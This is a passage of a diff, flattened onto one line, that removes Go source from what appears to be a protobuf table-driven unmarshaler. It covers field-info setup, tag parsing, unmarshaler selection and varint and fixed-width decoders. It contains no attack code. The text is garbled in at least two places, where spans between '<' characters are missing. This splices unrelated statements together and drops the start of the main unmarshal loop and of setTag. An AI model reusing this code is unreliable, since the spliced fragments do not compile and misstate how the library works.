getUnmarshalInfo(reflect.TypeOf(msg).Elem()) - atomicStoreUnmarshalInfo(&a.unmarshal, u) - } - // Then do the unmarshaling. - err := u.unmarshal(toPointer(&msg), b) - return err -} - -type unmarshalInfo struct { - typ reflect.Type // type of the protobuf struct - - // 0 = only typ field is initialized - // 1 = completely initialized - initialized int32 - lock sync.Mutex // prevents double initialization - dense []unmarshalFieldInfo // fields indexed by tag # - sparse map[uint64]unmarshalFieldInfo // fields indexed by tag # - reqFields []string // names of required fields - reqMask uint64 // 1< 0 { - // Read tag and wire type. - // Special case 1 and 2 byte varints. - var x uint64 - if b[0] < 128 { - x = uint64(b[0]) - b = b[1:] - } else if len(b) >= 2 && b[1] < 128 { - x = uint64(b[0]&0x7f) + uint64(b[1])<<7 - b = b[2:] - } else { - var n int - x, n = decodeVarint(b) - if n == 0 { - return io.ErrUnexpectedEOF - } - b = b[n:] - } - tag := x >> 3 - wire := int(x) & 7 - - // Dispatch on the tag to one of the unmarshal* functions below. - var f unmarshalFieldInfo - if tag < uint64(len(u.dense)) { - f = u.dense[tag] - } else { - f = u.sparse[tag] - } - if fn := f.unmarshal; fn != nil { - var err error - b, err = fn(b, m.offset(f.field), wire) - if err == nil { - reqMask |= f.reqMask - continue - } - if r, ok := err.(*RequiredNotSetError); ok { - // Remember this error, but keep parsing. We need to produce - // a full parse even if a required field is missing. - if errLater == nil { - errLater = r - } - reqMask |= f.reqMask - continue - } - if err != errInternalBadWireType { - if err == errInvalidUTF8 { - if errLater == nil { - fullName := revProtoTypes[reflect.PtrTo(u.typ)] + "." + f.name - errLater = &invalidUTF8Error{fullName} - } - continue - } - return err - } - // Fragments with bad wire type are treated as unknown fields. - } - - // Unknown tag. - if !u.unrecognized.IsValid() { - // Don't keep unrecognized data; just skip it. - var err error - b, err = skipField(b, wire) - if err != nil { - return err - } - continue - } - // Keep unrecognized data around. - // maybe in extensions, maybe in the unrecognized field. - z := m.offset(u.unrecognized).toBytes() - var emap map[int32]Extension - var e Extension - for _, r := range u.extensionRanges { - if uint64(r.Start) <= tag && tag <= uint64(r.End) { - if u.extensions.IsValid() { - mp := m.offset(u.extensions).toExtensions() - emap = mp.extensionsWrite() - e = emap[int32(tag)] - z = &e.enc - break - } - if u.oldExtensions.IsValid() { - p := m.offset(u.oldExtensions).toOldExtensions() - emap = *p - if emap == nil { - emap = map[int32]Extension{} - *p = emap - } - e = emap[int32(tag)] - z = &e.enc - break - } - if u.bytesExtensions.IsValid() { - z = m.offset(u.bytesExtensions).toBytes() - break - } - panic("no extensions field available") - } - } - // Use wire type to skip data. - var err error - b0 := b - b, err = skipField(b, wire) - if err != nil { - return err - } - *z = encodeVarint(*z, tag<<3|uint64(wire)) - *z = append(*z, b0[:len(b0)-len(b)]...) - - if emap != nil { - emap[int32(tag)] = e - } - } - if reqMask != u.reqMask && errLater == nil { - // A required field of this message is missing. - for _, n := range u.reqFields { - if reqMask&1 == 0 { - errLater = &RequiredNotSetError{n} - } - reqMask >>= 1 - } - } - return errLater -} - -// computeUnmarshalInfo fills in u with information for use -// in unmarshaling protocol buffers of type u.typ. -func (u *unmarshalInfo) computeUnmarshalInfo() { - u.lock.Lock() - defer u.lock.Unlock() - if u.initialized != 0 { - return - } - t := u.typ - n := t.NumField() - - // Set up the "not found" value for the unrecognized byte buffer. - // This is the default for proto3. - u.unrecognized = invalidField - u.extensions = invalidField - u.oldExtensions = invalidField - u.bytesExtensions = invalidField - - // List of the generated type and offset for each oneof field. - type oneofField struct { - ityp reflect.Type // interface type of oneof field - field field // offset in containing message - } - var oneofFields []oneofField - - for i := 0; i < n; i++ { - f := t.Field(i) - if f.Name == "XXX_unrecognized" { - // The byte slice used to hold unrecognized input is special. - if f.Type != reflect.TypeOf(([]byte)(nil)) { - panic("bad type for XXX_unrecognized field: " + f.Type.Name()) - } - u.unrecognized = toField(&f) - continue - } - if f.Name == "XXX_InternalExtensions" { - // Ditto here. - if f.Type != reflect.TypeOf(XXX_InternalExtensions{}) { - panic("bad type for XXX_InternalExtensions field: " + f.Type.Name()) - } - u.extensions = toField(&f) - if f.Tag.Get("protobuf_messageset") == "1" { - u.isMessageSet = true - } - continue - } - if f.Name == "XXX_extensions" { - // An older form of the extensions field. - if f.Type == reflect.TypeOf((map[int32]Extension)(nil)) { - u.oldExtensions = toField(&f) - continue - } else if f.Type == reflect.TypeOf(([]byte)(nil)) { - u.bytesExtensions = toField(&f) - continue - } - panic("bad type for XXX_extensions field: " + f.Type.Name()) - } - if f.Name == "XXX_NoUnkeyedLiteral" || f.Name == "XXX_sizecache" { - continue - } - - oneof := f.Tag.Get("protobuf_oneof") - if oneof != "" { - oneofFields = append(oneofFields, oneofField{f.Type, toField(&f)}) - // The rest of oneof processing happens below. - continue - } - - tags := f.Tag.Get("protobuf") - tagArray := strings.Split(tags, ",") - if len(tagArray) < 2 { - panic("protobuf tag not enough fields in " + t.Name() + "." + f.Name + ": " + tags) - } - tag, err := strconv.Atoi(tagArray[1]) - if err != nil { - panic("protobuf tag field not an integer: " + tagArray[1]) - } - - name := "" - for _, tag := range tagArray[3:] { - if strings.HasPrefix(tag, "name=") { - name = tag[5:] - } - } - - // Extract unmarshaling function from the field (its type and tags). - unmarshal := fieldUnmarshaler(&f) - - // Required field? - var reqMask uint64 - if tagArray[2] == "req" { - bit := len(u.reqFields) - u.reqFields = append(u.reqFields, name) - reqMask = uint64(1) << uint(bit) - // TODO: if we have more than 64 required fields, we end up - // not verifying that all required fields are present. - // Fix this, perhaps using a count of required fields? - } - - // Store the info in the correct slot in the message. - u.setTag(tag, toField(&f), unmarshal, reqMask, name) - } - - // Find any types associated with oneof fields. - // gogo: len(oneofFields) > 0 is needed for embedded oneof messages, without a marshaler and unmarshaler - if len(oneofFields) > 0 { - var oneofImplementers []interface{} - switch m := reflect.Zero(reflect.PtrTo(t)).Interface().(type) { - case oneofFuncsIface: - _, _, _, oneofImplementers = m.XXX_OneofFuncs() - case oneofWrappersIface: - oneofImplementers = m.XXX_OneofWrappers() - } - for _, v := range oneofImplementers { - tptr := reflect.TypeOf(v) // *Msg_X - typ := tptr.Elem() // Msg_X - - f := typ.Field(0) // oneof implementers have one field - baseUnmarshal := fieldUnmarshaler(&f) - tags := strings.Split(f.Tag.Get("protobuf"), ",") - fieldNum, err := strconv.Atoi(tags[1]) - if err != nil { - panic("protobuf tag field not an integer: " + tags[1]) - } - var name string - for _, tag := range tags { - if strings.HasPrefix(tag, "name=") { - name = strings.TrimPrefix(tag, "name=") - break - } - } - - // Find the oneof field that this struct implements. - // Might take O(n^2) to process all of the oneofs, but who cares. - for _, of := range oneofFields { - if tptr.Implements(of.ityp) { - // We have found the corresponding interface for this struct. - // That lets us know where this struct should be stored - // when we encounter it during unmarshaling. - unmarshal := makeUnmarshalOneof(typ, of.ityp, baseUnmarshal) - u.setTag(fieldNum, of.field, unmarshal, 0, name) - } - } - - } - } - - // Get extension ranges, if any. - fn := reflect.Zero(reflect.PtrTo(t)).MethodByName("ExtensionRangeArray") - if fn.IsValid() { - if !u.extensions.IsValid() && !u.oldExtensions.IsValid() && !u.bytesExtensions.IsValid() { - panic("a message with extensions, but no extensions field in " + t.Name()) - } - u.extensionRanges = fn.Call(nil)[0].Interface().([]ExtensionRange) - } - - // Explicitly disallow tag 0. This will ensure we flag an error - // when decoding a buffer of all zeros. Without this code, we - // would decode and skip an all-zero buffer of even length. - // [0 0] is [tag=0/wiretype=varint varint-encoded-0]. - u.setTag(0, zeroField, func(b []byte, f pointer, w int) ([]byte, error) { - return nil, fmt.Errorf("proto: %s: illegal tag 0 (wire type %d)", t, w) - }, 0, "") - - // Set mask for required field check. - u.reqMask = uint64(1)<= 0 && (tag < 16 || tag < 2*n) { // TODO: what are the right numbers here? - for len(u.dense) <= tag { - u.dense = append(u.dense, unmarshalFieldInfo{}) - } - u.dense[tag] = i - return - } - if u.sparse == nil { - u.sparse = map[uint64]unmarshalFieldInfo{} - } - u.sparse[uint64(tag)] = i -} - -// fieldUnmarshaler returns an unmarshaler for the given field. -func fieldUnmarshaler(f *reflect.StructField) unmarshaler { - if f.Type.Kind() == reflect.Map { - return makeUnmarshalMap(f) - } - return typeUnmarshaler(f.Type, f.Tag.Get("protobuf")) -} - -// typeUnmarshaler returns an unmarshaler for the given field type / field tag pair. -func typeUnmarshaler(t reflect.Type, tags string) unmarshaler { - tagArray := strings.Split(tags, ",") - encoding := tagArray[0] - name := "unknown" - ctype := false - isTime := false - isDuration := false - isWktPointer := false - proto3 := false - validateUTF8 := true - for _, tag := range tagArray[3:] { - if strings.HasPrefix(tag, "name=") { - name = tag[5:] - } - if tag == "proto3" { - proto3 = true - } - if strings.HasPrefix(tag, "customtype=") { - ctype = true - } - if tag == "stdtime" { - isTime = true - } - if tag == "stdduration" { - isDuration = true - } - if tag == "wktptr" { - isWktPointer = true - } - } - validateUTF8 = validateUTF8 && proto3 - - // Figure out packaging (pointer, slice, or both) - slice := false - pointer := false - if t.Kind() == reflect.Slice && t.Elem().Kind() != reflect.Uint8 { - slice = true - t = t.Elem() - } - if t.Kind() == reflect.Ptr { - pointer = true - t = t.Elem() - } - - if ctype { - if reflect.PtrTo(t).Implements(customType) { - if slice { - return makeUnmarshalCustomSlice(getUnmarshalInfo(t), name) - } - if pointer { - return makeUnmarshalCustomPtr(getUnmarshalInfo(t), name) - } - return makeUnmarshalCustom(getUnmarshalInfo(t), name) - } else { - panic(fmt.Sprintf("custom type: type: %v, does not implement the proto.custom interface", t)) - } - } - - if isTime { - if pointer { - if slice { - return makeUnmarshalTimePtrSlice(getUnmarshalInfo(t), name) - } - return makeUnmarshalTimePtr(getUnmarshalInfo(t), name) - } - if slice { - return makeUnmarshalTimeSlice(getUnmarshalInfo(t), name) - } - return makeUnmarshalTime(getUnmarshalInfo(t), name) - } - - if isDuration { - if pointer { - if slice { - return makeUnmarshalDurationPtrSlice(getUnmarshalInfo(t), name) - } - return makeUnmarshalDurationPtr(getUnmarshalInfo(t), name) - } - if slice { - return makeUnmarshalDurationSlice(getUnmarshalInfo(t), name) - } - return makeUnmarshalDuration(getUnmarshalInfo(t), name) - } - - if isWktPointer { - switch t.Kind() { - case reflect.Float64: - if pointer { - if slice { - return makeStdDoubleValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdDoubleValuePtrUnmarshaler(getUnmarshalInfo(t), name) - } - if slice { - return makeStdDoubleValueSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdDoubleValueUnmarshaler(getUnmarshalInfo(t), name) - case reflect.Float32: - if pointer { - if slice { - return makeStdFloatValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdFloatValuePtrUnmarshaler(getUnmarshalInfo(t), name) - } - if slice { - return makeStdFloatValueSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdFloatValueUnmarshaler(getUnmarshalInfo(t), name) - case reflect.Int64: - if pointer { - if slice { - return makeStdInt64ValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdInt64ValuePtrUnmarshaler(getUnmarshalInfo(t), name) - } - if slice { - return makeStdInt64ValueSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdInt64ValueUnmarshaler(getUnmarshalInfo(t), name) - case reflect.Uint64: - if pointer { - if slice { - return makeStdUInt64ValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdUInt64ValuePtrUnmarshaler(getUnmarshalInfo(t), name) - } - if slice { - return makeStdUInt64ValueSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdUInt64ValueUnmarshaler(getUnmarshalInfo(t), name) - case reflect.Int32: - if pointer { - if slice { - return makeStdInt32ValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdInt32ValuePtrUnmarshaler(getUnmarshalInfo(t), name) - } - if slice { - return makeStdInt32ValueSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdInt32ValueUnmarshaler(getUnmarshalInfo(t), name) - case reflect.Uint32: - if pointer { - if slice { - return makeStdUInt32ValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdUInt32ValuePtrUnmarshaler(getUnmarshalInfo(t), name) - } - if slice { - return makeStdUInt32ValueSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdUInt32ValueUnmarshaler(getUnmarshalInfo(t), name) - case reflect.Bool: - if pointer { - if slice { - return makeStdBoolValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdBoolValuePtrUnmarshaler(getUnmarshalInfo(t), name) - } - if slice { - return makeStdBoolValueSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdBoolValueUnmarshaler(getUnmarshalInfo(t), name) - case reflect.String: - if pointer { - if slice { - return makeStdStringValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdStringValuePtrUnmarshaler(getUnmarshalInfo(t), name) - } - if slice { - return makeStdStringValueSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdStringValueUnmarshaler(getUnmarshalInfo(t), name) - case uint8SliceType: - if pointer { - if slice { - return makeStdBytesValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdBytesValuePtrUnmarshaler(getUnmarshalInfo(t), name) - } - if slice { - return makeStdBytesValueSliceUnmarshaler(getUnmarshalInfo(t), name) - } - return makeStdBytesValueUnmarshaler(getUnmarshalInfo(t), name) - default: - panic(fmt.Sprintf("unknown wktpointer type %#v", t)) - } - } - - // We'll never have both pointer and slice for basic types. - if pointer && slice && t.Kind() != reflect.Struct { - panic("both pointer and slice for basic type in " + t.Name()) - } - - switch t.Kind() { - case reflect.Bool: - if pointer { - return unmarshalBoolPtr - } - if slice { - return unmarshalBoolSlice - } - return unmarshalBoolValue - case reflect.Int32: - switch encoding { - case "fixed32": - if pointer { - return unmarshalFixedS32Ptr - } - if slice { - return unmarshalFixedS32Slice - } - return unmarshalFixedS32Value - case "varint": - // this could be int32 or enum - if pointer { - return unmarshalInt32Ptr - } - if slice { - return unmarshalInt32Slice - } - return unmarshalInt32Value - case "zigzag32": - if pointer { - return unmarshalSint32Ptr - } - if slice { - return unmarshalSint32Slice - } - return unmarshalSint32Value - } - case reflect.Int64: - switch encoding { - case "fixed64": - if pointer { - return unmarshalFixedS64Ptr - } - if slice { - return unmarshalFixedS64Slice - } - return unmarshalFixedS64Value - case "varint": - if pointer { - return unmarshalInt64Ptr - } - if slice { - return unmarshalInt64Slice - } - return unmarshalInt64Value - case "zigzag64": - if pointer { - return unmarshalSint64Ptr - } - if slice { - return unmarshalSint64Slice - } - return unmarshalSint64Value - } - case reflect.Uint32: - switch encoding { - case "fixed32": - if pointer { - return unmarshalFixed32Ptr - } - if slice { - return unmarshalFixed32Slice - } - return unmarshalFixed32Value - case "varint": - if pointer { - return unmarshalUint32Ptr - } - if slice { - return unmarshalUint32Slice - } - return unmarshalUint32Value - } - case reflect.Uint64: - switch encoding { - case "fixed64": - if pointer { - return unmarshalFixed64Ptr - } - if slice { - return unmarshalFixed64Slice - } - return unmarshalFixed64Value - case "varint": - if pointer { - return unmarshalUint64Ptr - } - if slice { - return unmarshalUint64Slice - } - return unmarshalUint64Value - } - case reflect.Float32: - if pointer { - return unmarshalFloat32Ptr - } - if slice { - return unmarshalFloat32Slice - } - return unmarshalFloat32Value - case reflect.Float64: - if pointer { - return unmarshalFloat64Ptr - } - if slice { - return unmarshalFloat64Slice - } - return unmarshalFloat64Value - case reflect.Map: - panic("map type in typeUnmarshaler in " + t.Name()) - case reflect.Slice: - if pointer { - panic("bad pointer in slice case in " + t.Name()) - } - if slice { - return unmarshalBytesSlice - } - return unmarshalBytesValue - case reflect.String: - if validateUTF8 { - if pointer { - return unmarshalUTF8StringPtr - } - if slice { - return unmarshalUTF8StringSlice - } - return unmarshalUTF8StringValue - } - if pointer { - return unmarshalStringPtr - } - if slice { - return unmarshalStringSlice - } - return unmarshalStringValue - case reflect.Struct: - // message or group field - if !pointer { - switch encoding { - case "bytes": - if slice { - return makeUnmarshalMessageSlice(getUnmarshalInfo(t), name) - } - return makeUnmarshalMessage(getUnmarshalInfo(t), name) - } - } - switch encoding { - case "bytes": - if slice { - return makeUnmarshalMessageSlicePtr(getUnmarshalInfo(t), name) - } - return makeUnmarshalMessagePtr(getUnmarshalInfo(t), name) - case "group": - if slice { - return makeUnmarshalGroupSlicePtr(getUnmarshalInfo(t), name) - } - return makeUnmarshalGroupPtr(getUnmarshalInfo(t), name) - } - } - panic(fmt.Sprintf("unmarshaler not found type:%s encoding:%s", t, encoding)) -} - -// Below are all the unmarshalers for individual fields of various types. - -func unmarshalInt64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x) - *f.toInt64() = v - return b, nil -} - -func unmarshalInt64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x) - *f.toInt64Ptr() = &v - return b, nil -} - -func unmarshalInt64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x) - s := f.toInt64Slice() - *s = append(*s, v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x) - s := f.toInt64Slice() - *s = append(*s, v) - return b, nil -} - -func unmarshalSint64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x>>1) ^ int64(x)<<63>>63 - *f.toInt64() = v - return b, nil -} - -func unmarshalSint64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x>>1) ^ int64(x)<<63>>63 - *f.toInt64Ptr() = &v - return b, nil -} - -func unmarshalSint64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x>>1) ^ int64(x)<<63>>63 - s := f.toInt64Slice() - *s = append(*s, v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x>>1) ^ int64(x)<<63>>63 - s := f.toInt64Slice() - *s = append(*s, v) - return b, nil -} - -func unmarshalUint64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint64(x) - *f.toUint64() = v - return b, nil -} - -func unmarshalUint64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint64(x) - *f.toUint64Ptr() = &v - return b, nil -} - -func unmarshalUint64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint64(x) - s := f.toUint64Slice() - *s = append(*s, v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint64(x) - s := f.toUint64Slice() - *s = append(*s, v) - return b, nil -} - -func unmarshalInt32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x) - *f.toInt32() = v - return b, nil -} - -func unmarshalInt32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x) - f.setInt32Ptr(v) - return b, nil -} - -func unmarshalInt32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x) - f.appendInt32Slice(v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x) - f.appendInt32Slice(v) - return b, nil -} - -func unmarshalSint32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x>>1) ^ int32(x)<<31>>31 - *f.toInt32() = v - return b, nil -} - -func unmarshalSint32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x>>1) ^ int32(x)<<31>>31 - f.setInt32Ptr(v) - return b, nil -} - -func unmarshalSint32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x>>1) ^ int32(x)<<31>>31 - f.appendInt32Slice(v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x>>1) ^ int32(x)<<31>>31 - f.appendInt32Slice(v) - return b, nil -} - -func unmarshalUint32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint32(x) - *f.toUint32() = v - return b, nil -} - -func unmarshalUint32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint32(x) - *f.toUint32Ptr() = &v - return b, nil -} - -func unmarshalUint32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint32(x) - s := f.toUint32Slice() - *s = append(*s, v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint32(x) - s := f.toUint32Slice() - *s = append(*s, v) - return b, nil -} - -func unmarshalFixed64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56 - *f.toUint64() = v - return b[8:], nil -} - -func unmarshalFixed64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56 - *f.toUint64Ptr() = &v - return b[8:], nil -} - -func unmarshalFixed64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56 - s := f.toUint64Slice() - *s = append(*s, v) - b = b[8:] - } - return res, nil - } - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56 - s := f.toUint64Slice() - *s = append(*s, v) - return b[8:], nil -} - -func unmarshalFixedS64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56 - *f.toInt64() = v - return b[8:], nil -} - -func unmarshalFixedS64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56 - *f.toInt64Ptr() = &v - return b[8:], nil -} - -func unmarshalFixedS64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56 - s := f.toInt64Slice() - *s = append(*s, v) - b = b[8:] - } - return res, nil - } - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56 - s := f.toInt64Slice() - *s = append(*s, v) - return b[8:], nil -} - -func unmarshalFixed32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24 - *f.toUint32() = v - return b[4:], nil -} - -func unmarshalFixed32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24 - *f.toUint32Ptr() = &v - return b[4:], nil -} - -func unmarshalFixed32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24 - s := f.toUint32Slice() - *s = 